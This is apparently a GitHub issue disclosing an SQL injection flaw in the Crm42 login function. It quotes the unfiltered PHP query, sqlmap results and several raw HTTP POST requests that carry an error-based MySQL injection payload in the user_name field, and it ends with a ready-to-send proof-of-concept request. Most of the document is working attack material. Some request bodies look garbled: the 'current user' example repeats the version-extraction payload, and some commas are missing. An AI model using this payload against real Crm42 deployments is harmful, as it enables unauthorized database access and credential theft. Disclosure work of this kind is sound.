

New issue

[Jump to bottom](#)

# Crm42 SQL injection vulnerability in login function #1

✓ Closed huclilu opened this issue 19 days ago · 0 comments

huclilu commented 19 days ago • edited ▼

## Crm42 SQL injection vulnerability in login function

Crm42 does not filter the content entered by the user in the login function, resulting in a SQL injection vulnerability

Build environment: PHP 5.5.9 MySQL database version: MySQL 5.1.60

Vulnerability source code location :

In crm42\class\class.user.php, at lines 920-922

The SQL statement executed by \$sql, without any filtering, directly brings the user name and password into the database for query, and then returns the query result \$result, resulting in an error reporting SQL injection vulnerability

```
908 //server side validation
909 $return =true;
910 if($this->Form->ValidField($user_name, CType: 'empty', ErrText: 'Please enter username')==false)
911     $return =false;
912 if($this->Form->ValidField($password, CType: 'empty', ErrText: 'Please enter password')==false)
913     $return =false;
914 if($return){
915     $external_auth = $this->check_external( $this->user_name , $password );
916     $sql="select * from ".TBL_USER." where user_name=' . $this->user_name . ' AND ( password=' . $this->password . ' OR md5(password' . $this->password . ')=' . $this->password . ')';
917     $result=$this->db->query($sql, errorFile: __FILE__, errorLine: __LINE__);
918     if($this->db->num_rows($result)>0)
919     {
920         $row=$this->db->fetch_array($result);
921         // This prevents people from just putting hashed password's into slim
922         if( strlen( $row["password"] ) == 64 && $row["password"] == $password ){
923             $_SESSION['msg']='Looks like a hash injection, Please support 608-406-';
924             $_SESSION[post]=$_POST;
925         } else {
```

1.We can use sqlmap to validate:

```
(custom) POST parameter 'MULTIPART #1*' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 664 HTTP(s) requests:
---
Parameter: MULTIPART #1* ((custom) POST)
  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: -----WebKitFormBoundaryA0JAcuhBsadP79Jy
Content-Disposition: form-data; name="user_name"

admin' AND (SELECT 6743 FROM(SELECT COUNT(*),CONCAT(0x7171767a71,(SELECT
(ELT(6743=6743,1))),0x717a766b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-
- QVrR
-----WebKitFormBoundaryA0JAcuhBsadP79Jy
Content-Disposition: form-data; name="password"

admin123
-----WebKitFormBoundaryA0JAcuhBsadP79Jy
Content-Disposition: form-data; name="login"

Login
-----WebKitFormBoundaryA0JAcuhBsadP79Jy--
---
[13:20:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0
```

```
(custom) POST parameter 'MULTIPART #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 664 HTTP(s) requests:
---
Parameter: MULTIPART #1* ((custom) POST)
  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: -----WebKitFormBoundaryA0JAcuhBsadP79Jy
Content-Disposition: form-data; name="user_name"

admin' AND (SELECT 6743 FROM(SELECT COUNT(*),CONCAT(0x7171767a71,(SELECT (ELT(6743=6743,1))),0x717a766b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a)-- QVrR
-----WebKitFormBoundaryA0JAcuhBsadP79Jy
Content-Disposition: form-data; name="password"

admin123
-----WebKitFormBoundaryA0JAcuhBsadP79Jy
Content-Disposition: form-data; name="login"

Login
-----WebKitFormBoundaryA0JAcuhBsadP79Jy--
---
[13:20:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0
[13:20:04] [INFO] fetched data logged to text files under 'C:\Users\joker\AppData\Local\sqlmap\output\vulcrm.test'
```

## 2.Manual SQL injection

- SQL injection to obtain database version information

SendCancel<>

Target: http://vulcrm.test

Request

RawParamsHeadersHex

```
POST /login.php HTTP/1.1
Host: vulcrm.test
Content-Length: 508
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://vulcrm.test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQJAcuhBsadP79Jy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://vulcrm.test/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=mi7om14hbpasnmia7681vee50
Connection: close

-----WebKitFormBoundaryAQJAcuhBsadP79Jy
Content-Disposition: form-data; name="user_name"

admin' AND (SELECT 6743 FROM(SELECT COUNT(*) CONCAT(0x7171767a71,(SELECT version())0x717a766b71_FLOOR(RAND(0)*2)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)- QVIR
-----WebKitFormBoundaryAQJAcuhBsadP79Jy
Content-Disposition: form-data; name="password"

admin123
-----WebKitFormBoundaryAQJAcuhBsadP79Jy
Content-Disposition: form-data; name="login"

Login
-----WebKitFormBoundaryAQJAcuhBsadP79Jy--
```

Response

RawHeadersHexHTMLRender

```
document.getElementById(phone_call).style.display="none";
setTimeout("loopcheck_ext"+"ext"+"");2500);
break;
}
}
</script>
<head>
<body><!--(if (ie 6))<script src="ie6/warning.js"></script><script>window.onload=function(){e("ie6")}</script><!--(endif)--><div id="container">
<div id="sign_window">
<div id="error_message_username">
</div>
<div id="error_message_password">
</div>
<div id="sign_form"> <br />
<b>Warning</b>: include(modules/auth.php): failed to open stream: No such file or directory in
C:\phpstudy_pro\WWW\cve\crm42\class\class.user.php</b> on line <b>843</b><br />
<br />
<b>Warning</b>: include(): Failed opening 'modules/auth.php' for inclusion (include_path='.:C:\php\pear') in
C:\phpstudy_pro\WWW\cve\crm42\class\class.user.php</b> on line <b>843</b><br />
<br />
<b>Warning</b>: array_key_exists() expects parameter 2 to be array, null given in C:\phpstudy_pro\WWW\cve\crm42\class\database.inc.php</b> on
line <b>44</b><br />
<div style="font-family: Tahoma; font-size: 11px; padding: 10px; background-color: #FFD1C4; color: #990000; font-weight: bold; border: 1px solid #FF0000; text-align:
center;">select * from tb_user where user_name='admin' AND (SELECT 6743 FROM(SELECT COUNT(*) CONCAT(0x7171767a71,(SELECT
version())0x717a766b71_FLOOR(RAND(0)*2)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)- QVIR AND (
password='42077b404258f8c3b9e51be3c7f2629938c8158b27bad2c1383954193' OR md5(password)='0192023a7bbd73259516069d4f8b500')<br
/>1<br>Duplicate entry 'qqczq5.1.58.communityqvz4kt' for key 'group_key'<br>in file C:\phpstudy_pro\WWW\cve\crm42\class\class.user.php at line number
922</div>
```

- SQL injection to obtain the current user

SendCancel<>

Target: http://vulcrm.test

Request

RawParamsHeadersHex

```
POST /login.php HTTP/1.1
Host: vulcrm.test
Content-Length: 508
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://vulcrm.test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQJAcuhBsadP79Jy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://vulcrm.test/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=mi7om14hbpasnmia7681vee50
Connection: close

-----WebKitFormBoundaryAQJAcuhBsadP79Jy
Content-Disposition: form-data; name="user_name"

admin' AND (SELECT 6743 FROM(SELECT COUNT(*) CONCAT(0x7171767a71,(SELECT version())0x717a766b71_FLOOR(RAND(0)*2)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)- QVIR
-----WebKitFormBoundaryAQJAcuhBsadP79Jy
Content-Disposition: form-data; name="password"

admin123
-----WebKitFormBoundaryAQJAcuhBsadP79Jy
Content-Disposition: form-data; name="login"

Login
-----WebKitFormBoundaryAQJAcuhBsadP79Jy--
```

Response

RawHeadersHexHTMLRender

```
document.getElementById(phone_call).style.display="none";
setTimeout("loopcheck_ext"+"ext"+"");2500);
break;
}
}
</script>
<head>
<body><!--(if (ie 6))<script src="ie6/warning.js"></script><script>window.onload=function(){e("ie6")}</script><!--(endif)--><div id="container">
<div id="sign_window">
<div id="error_message_username">
</div>
<div id="error_message_password">
</div>
<div id="sign_form"> <br />
<b>Warning</b>: include(modules/auth.php): failed to open stream: No such file or directory in
C:\phpstudy_pro\WWW\cve\crm42\class\class.user.php</b> on line <b>843</b><br />
<br />
<b>Warning</b>: include(): Failed opening 'modules/auth.php' for inclusion (include_path='.:C:\php\pear') in
C:\phpstudy_pro\WWW\cve\crm42\class\class.user.php</b> on line <b>843</b><br />
<br />
<b>Warning</b>: array_key_exists() expects parameter 2 to be array, null given in C:\phpstudy_pro\WWW\cve\crm42\class\database.inc.php</b> on
line <b>44</b><br />
<div style="font-family: Tahoma; font-size: 11px; padding: 10px; background-color: #FFD1C4; color: #990000; font-weight: bold; border: 1px solid #FF0000; text-align:
center;">select * from tb_user where user_name='admin' AND (SELECT 6743 FROM(SELECT COUNT(*) CONCAT(0x7171767a71,(SELECT
version())0x717a766b71_FLOOR(RAND(0)*2)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)- QVIR AND (
password='42077b404258f8c3b9e51be3c7f2629938c8158b27bad2c1383954193' OR md5(password)='0192023a7bbd73259516069d4f8b500')<br
/>1<br>Duplicate entry 'qqczq5.1.58.communityqvz4kt' for key 'group_key'<br>in file C:\phpstudy_pro\WWW\cve\crm42\class\class.user.php at line number
922</div>
```

## 3.SQL injection POC

```
POST /login.php HTTP/1.1
Host: vulcrm.test
Content-Length: 508
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://vulcrm.test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA0JAcuhBsadP79Jy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/107.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,appl
exchange;v=b3;q=0.9
Referer: http://vulcrm.test/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

Cookie: PHPSESSID=m7om14hbprasmar768i1vee50  
Connection: close

-----WebKitFormBoundaryA0JAcuhBsadP79Jy  
Content-Disposition: form-data; name="user\_name"

admin' AND (SELECT 6743 FROM(SELECT COUNT(\*),CONCAT(0x7171767a71,(SELECT  
version()),0x717a766b71,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a)-- QVrR

-----WebKitFormBoundaryA0JAcuhBsadP79Jy  
Content-Disposition: form-data; name="password"

admin123  
-----WebKitFormBoundaryA0JAcuhBsadP79Jy  
Content-Disposition: form-data; name="login"

Login  
-----WebKitFormBoundaryA0JAcuhBsadP79Jy--



**hucililu** closed this as completed 15 days ago

---

#### Assignees

No one assigned

---

#### Labels

None yet

---

#### Projects

None yet

---

#### Milestone

No milestone

---

#### Development

No branches or pull requests

---

1 participant

